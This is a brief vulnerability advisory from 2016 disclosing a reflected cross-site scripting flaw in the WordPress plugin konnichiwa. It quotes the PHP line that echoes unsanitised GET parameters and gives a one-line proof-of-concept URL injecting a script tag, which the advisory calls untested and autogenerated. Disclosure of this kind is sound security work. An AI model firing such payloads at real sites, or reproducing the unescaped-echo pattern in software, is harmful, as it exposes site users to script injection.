Advisory #: 476
Title: Reflected XSS in wordpress plugin konnichiwa v0.7.5.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/konnichiwa
Downloads: 2687
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: konnichiwa
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./konnichiwa/views/edit-subscription.html.php: 28: <input type="button" value="<?php _e('Cancel', 'konnichiwa')?>" onclick="window.location = 'admin.php?page=konnichiwa_subs&plan_id=<?php echo $_GET['plan_id']?>&ob=<?php echo $_GET['ob']?>&dir=<?php echo $_GET['dir']?>&offset=<?php echo $_GET['offset']?>'"></p> The variable plan_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./konnichiwa/views/edit-subscription.html.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/konnichiwa/views/edit-subscription.html.php?plan_id="><script>alert(1);</script><"